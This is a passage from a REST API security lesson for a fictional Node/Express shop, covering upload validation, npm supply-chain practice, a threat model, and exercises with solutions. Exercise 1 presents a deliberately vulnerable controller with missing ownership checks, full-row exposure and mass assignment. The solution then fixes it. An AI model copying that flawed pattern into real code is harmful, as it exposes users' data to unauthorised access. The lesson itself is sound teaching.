if (matches) return signature.type;
}
return null;
}
export function validateImage(buffer, declaredType) {
const realType = detectRealType(buffer);
if (!realType) throw errors.invalidData('The file is not a valid image.');
if (realType !== declaredType) {
// A mismatch between what was declared and the real content: a sign of an evasion attempt.
throw errors.invalidData('The content does not match the declared type.');
}
return realType;
}The magic bytes are the format's binary signature at the start of the file. Checking them defeats the classic trick of uploading an executable or an HTML file with a .jpg extension and Content-Type: image/jpeg.
Even so, the strongest defence is not detection but reprocessing: passing the image through a library that decodes and re-encodes it (sharp, for example) produces a brand-new file that keeps nothing of whatever was hidden inside, and strips the EXIF data along the way. If the upload goes straight to object storage with a presigned URL, the file never even passes through your API, which is better still for availability.
- Dependencies and the supply chain
express, zod, better-sqlite3, jsonwebtoken, bcrypt, dotenv, and now helmet. Each one drags in its own: the real tree is hundreds of packages, all running with your process's permissions.
# 1. Known vulnerabilities in the dependency tree.
npm audit
# 2. Only the serious ones, with a non-zero exit code for CI.
npm audit --audit-level=high
# 3. Fix whatever can be fixed without breaking changes.
npm audit fix
# 4. A reproducible install in CI: respects package-lock.json exactly.
npm ci
# 5. What is actually installed, and why.
npm ls jsonwebtokenThe practices that matter:
package-lock.jsonversioned andnpm ciin continuous integration. Without it, two installs of the same commit can pull different code.- Update continuously, not in an annual migration: ten small updates cost less than one big one, and the big ones get postponed.
- Reduce the number of dependencies. The question before installing is whether the problem is solved by Node's standard library, which today includes
crypto,fetch,testandAbortSignal. - Pin versions sensibly: narrow ranges and reviewed updates, with Dependabot or Renovate opening pull requests that go through your tests.
- Be suspicious of install scripts. A malicious
postinstallruns at install time, before you review anything.npm ci --ignore-scriptsis an option where it is feasible. - Watch out for typosquatting:
expres,lodahs,node-fetchh. Copying and pasting the name from the official documentation avoids the entire class.
The supply chain attack is today's fashionable vector precisely because it does not require breaching your code: it is enough to compromise somebody else's code that you run.
- A lightweight threat model for Aroma Store
A threat model does not need to be a hundred-page document. The useful version fits in a table and gets reviewed every quarter: asset → threat → defence → where it is implemented.
| Asset | Threat | Impact | Defence | Where |
|---|---|---|---|---|
| Order data | BOLA: reading other people's orders | High (GDPR) | Ownership check in the service + 404 |
src/services/orders.js |
| Customer data | Excessive exposure | High (GDPR) | Mapper with an allowlist | src/services/mappers.js |
| Accounts | Brute force on the login | High | bcrypt + a limit per IP and email address | 03-06 / 04-04 |
| Accounts | Escalation via mass assignment | Critical | Zod .strict() + req.validatedData |
src/schemas/*.js |
| Tokens | Theft in transit | Critical | Mandatory TLS + HSTS | Infrastructure + helmet |
| Tokens | Forgery (alg:none) |
Critical | A pinned algorithms: ['HS256'] |
src/middleware/authentication.js |
| Catalogue | Mass scraping | Medium | Rate limiting + pagination | 04-04 |
| Database | SQL injection | Critical | Prepared statements + an allowlist in sort |
src/repositories/*.js |
| Availability | Giant bodies and pages | Medium | limit: 100kb, limit max. 100 |
src/app.js, 03-03 |
| Internal network | SSRF via an image URL | High | Domain allowlist, no redirects, no private IPs | src/services/downloads.js |
| Storage | A malicious file uploaded | High | Magic bytes + re-encoding + a separate domain | src/services/images.js |
| Secrets | A leak through the repository | Critical | .gitignore, a secrets manager, a scanner in CI |
Deployment |
| Webhooks | SwiftShip impersonation | High | HMAC-SHA256 + Aroma-Event-Id anti-replay |
Webhook service |
| Surface | Forgotten endpoints | High | Inventory + openapi.yaml as the single source of truth |
Process |
| Dependencies | A compromised package | Critical | npm ci, npm audit, reviewed updates |
CI |
| Browser | An unauthorised origin | Medium | CORS with an allowlist | 04-05 |
| Logs | Personal data recorded | High (GDPR) | Automatic redaction of sensitive fields | 04-07 |
How it is used: when you add a feature, you add its rows. If a row has no concrete "where" cell, that defence does not exist; it is an intention. And if a critical-impact row has an empty cell, that is your next job, ahead of any new feature.
Common Mistakes and Tips
Confusing authentication with authorisation. "They have a valid token" only answers who they are. The question what can they do with this specific object is answered on every request, and its absence is vulnerability number one.
Validating in the SPA and not in the API. Client-side validation is usability. The API is the only place where validation is a defence.
Putting helmet at the end of the chain. The headers would not appear on responses generated by earlier middleware, which are precisely the errors.
Returning 403 for other people's resources. It confirms existence and enables enumeration. Use 404 unless the resource is public.
Believing .strict() is enough if you then use req.body. Validation only protects you if you consume the validated object.
Committing the .env "just for a moment". The Git history is for ever; the secret is compromised even if you delete it in the next commit.
Trusting an upload's Content-Type. The client writes it. Only the real content counts.
Logging the complete request "for debugging". It is the fastest way to get passwords and tokens into a log system with a one-year retention policy.
Tip: attack your own API. Set aside half an hour, grab a cus_842 token and try systematically: other people's identifiers, extra fields, unexpected methods, extreme values. Something almost always turns up.
Tip: turn every vulnerability you find into a test. A vulnerability fixed without a test comes back in six months, when somebody refactors the service.
Tip: security comes in layers. No single defence in this lesson is sufficient on its own. Opaque identifiers do not replace the ownership check, and helmet does not replace TLS.
Exercises
Exercise 1: find three vulnerabilities
This controller has been proposed for the new GET /v1/customers/{id} and PATCH /v1/customers/{id} endpoints. Identify at least three distinct OWASP API Top 10 vulnerabilities, name them with their category and fix them.
// src/controllers/customers.js
router.get('/:id', authenticate, asyncHandler(async (req, res) => {
const customer = await customerRepository.findById(req.params.id);
if (!customer) return res.status(404).json({ error: { code: 'not_found' } });
res.json(customer);
}));
router.patch('/:id', authenticate, asyncHandler(async (req, res) => {
const updated = await customerRepository.update(req.params.id, req.body);
res.json(updated);
}));Exercise 2: configuring helmet for the back office
The internal back office (https://panel.aromastore.example) needs to display the coffee images served by the API inside an <img> tag. With the helmet configuration from section 12, the image does not load. Explain which header is preventing it and propose the adjustment, reasoning why it does not compromise the security of the JSON endpoints.
Exercise 3: a threat model for a new endpoint
POST /v1/customers/{id}/export is going to be added; it generates a file containing all the customer's personal data (the GDPR right of access) and returns a download link. Write the threat model rows for this endpoint: at least four threats with their defence and where it would be implemented.
Solutions
Solution 1
Vulnerabilities:
- API1 (BOLA) in the
GET: any authenticated customer reads any other customer's data. The ownership check is missing. - API3 (excessive exposure):
res.json(customer)returns the whole row, includingpassword_hash,role,activeand any future column. - API3 / mass assignment in the
PATCH:req.bodygoes straight to the repository, so a customer can send{"role":"administrator"}or{"active":true}. - API1 again in the
PATCH: it does not check ownership either; a customer edits somebody else. - Extra: the
404is built by hand and does not follow the catalogue's format (detailsis missing), breaking the contract from 03-07.
The fix:
// src/controllers/customers.js
router.get(
'/:id',
authenticate,
asyncHandler(async (req, res) => {
// The service checks ownership and throws a 404 where appropriate (not a 403).
const customer = await customerService.get(req.params.id, req.user);
// The mapper decides which fields the asker sees.
res.json(mappers.customerToRepresentationForRole(customer, req.user));
})
);
router.patch(
'/:id',
authenticate,
validate(modifyCustomerSchema, 'body'), // .strict(): name, phone, address
asyncHandler(async (req, res) => {
const updated = await customerService.update(
req.params.id,
req.validatedData, // ← never req.body
req.user // ← the service checks ownership
);
res.json(mappers.customerToRepresentationForRole(updated, req.user));
})
);// src/schemas/customers.js
export const modifyCustomerSchema = z
.object({
name: z.string().min(2).max(80).optional(),
phone: z.string().max(20).optional(),
address: z.string().max(200).optional(),
})
.strict(); // role, active, balance or version → 400 invalid_dataAnd a test that pins the fix down:
it("a customer cannot read another customer's data", async () => {
const r = await request(app)
.get('/v1/customers/cus_001')
.set('Authorization', `Bearer ${martaToken}`);
assert.equal(r.status, 404); // 404, not 403: it does not confirm existence
});Solution 2
The header responsible is Cross-Origin-Resource-Policy: same-origin, which helmet enables by default. With that value, the browser refuses to embed the response in a document from another origin; the back office is on panel.aromastore.example and the image on api.aromastore.example, so they are different origins and the <img> paints nothing.
The adjustment:
export const securityHeaders = helmet({
// ... the rest unchanged
crossOriginResourcePolicy: { policy: 'cross-origin' },
});Why it does not compromise the security of the JSON endpoints: CORP is not an authorisation mechanism, it is a protection against side-channel attacks based on embedding responses (Spectre and similar). Who can read the content of a response is still controlled by two independent things: the CORS policy (04-05), which decides which origins can read the response from JavaScript, and above all the server's authorisation, which requires a valid token with the right permissions. An attacker who embeds GET /v1/orders/ord_5001 in an <img> tag does not send the Authorization header, receives a 401 and cannot read the body anyway.
A preferable alternative: serve the images from a dedicated domain (images.aromastore.example) with its own configuration, and keep same-origin on the API. It isolates the two problems better.
Solution 3
| Asset | Threat | Impact | Defence | Where |
|---|---|---|---|---|
| Complete personal data | BOLA: exporting another customer's data | Critical (GDPR breach) | Ownership check; only the customer themselves or an administrator with justification | src/services/customers.js |
| The download link | A guessable or shareable link | Critical | A single-use token, a 15-minute expiry, bound to the token's customerId |
Export service |
| The generated file | It stays accessible after the download | High | Automatic deletion after 24 h; private storage with a presigned URL | Storage |
| Availability | Repeated exports to saturate the CPU | Medium | A specific rate limit (1 export per customer per day) + an asynchronous process with 202 |
04-04 / 04-06 |
| The file's contents | It includes more data than it should (internal notes) | High | An explicit allowlist of exportable fields, reviewed by compliance | Export mapper |
| Logs | The exported data gets logged | High | Log only the event and the customerId, never the content |
04-07 |
| Traceability | There is no record of who ran an export | Medium (accountability) | An audit log: who, when, about whom | Audit |
| Notification | The data subject does not know their data was exported | Medium | An automatic email to the customer when the export is generated | Notification service |
A cross-cutting note: because this endpoint materialises a GDPR right, the exact scope of the data included and the file's retention periods require compliance validation, not merely a technical decision. And the correct design is asynchronous (202 Accepted + a status resource), because generating the file can take time and must not tie up a connection: we will see that pattern in 04-06.
Conclusion
An API's security is not a layer you add, it is a property sustained at every endpoint. You have walked the OWASP API Security Top 10 over Aroma Store and seen that most real vulnerabilities are authorisation failures: BOLA when somebody reads another person's order, broken function-level authorisation when a customer creates coffees, excessive exposure when the mapper does not filter, mass assignment when req.body reaches the repository. You have seen why Zod's .strict() and the allowlist mapper — decisions that looked like code-quality choices — were in fact front-line defences; which injections are still possible after prepared statements, and how the only one left open is closed with the sort allowlist; how transport is defended with TLS and HSTS, the internal network from SSRF and storage from a malicious image. And you have added src/middleware/security.js with helmet to the project, at position 3 in the chain, ahead of any middleware capable of responding.
What this threat model marks as open is still outstanding. We start at the front door: in 04-03, OAuth 2.0 and OpenID Connect in Practice, we will work out how a third-party application — "CataBox", which wants to read a customer's orders — accesses Aroma Store without knowing their password. We will look at the protocol's four roles and why our API is only the resource server; the coffees.read, orders.read, orders.write and reviews.moderate scopes; the current flows with Authorization Code + PKCE for the SPA and the mobile app, Client Credentials for SwiftShip and the refresh flow; the difference between authenticating and authorising that OpenID Connect brings with its id_token; and token validation with JWKS and kid — which, not by coincidence, natively solves the key rotation problem we have just raised — in an authenticateOAuth middleware that will coexist with authenticate from 03-06.
REST API Course: Principles of Designing and Developing RESTful APIs
Module 1: Introduction to RESTful APIs
- What Is an API?
- History and Evolution of APIs
- HTTP Fundamentals for APIs
- Basic Principles of REST
- The Richardson Maturity Model and HATEOAS
- REST vs. SOAP
- REST Compared with GraphQL, gRPC and Webhooks
Module 2: Designing RESTful APIs
- RESTful API Design Principles
- Resources and URIs
- HTTP Methods
- HTTP Status Codes
- Representations, Headers and Content Negotiation
- Filtering, Sorting, Pagination and Search
- API Versioning
- API Documentation
Module 3: Building RESTful APIs
- Setting Up the Development Environment
- Building a Basic Server
- Handling Requests and Responses
- Input Data Validation
- Persistence and the Data Access Layer
- Authentication and Authorisation
- Error Handling
- Testing and Validation
Module 4: Best Practices and Security
- API Design Best Practices
- Security in RESTful APIs
- OAuth 2.0 and OpenID Connect in Practice
- Rate Limiting and Throttling
- CORS and Security Policies
- HTTP Caching and Performance
- Observability: Logs, Metrics and Traces
Module 5: Tools and Frameworks
- Postman for API Testing
- Swagger and OpenAPI for Documentation
- Popular Frameworks for RESTful APIs
- Contracts, Mocks and Automated API Testing
- Continuous Integration and Deployment
- API Gateways and Developer Portals
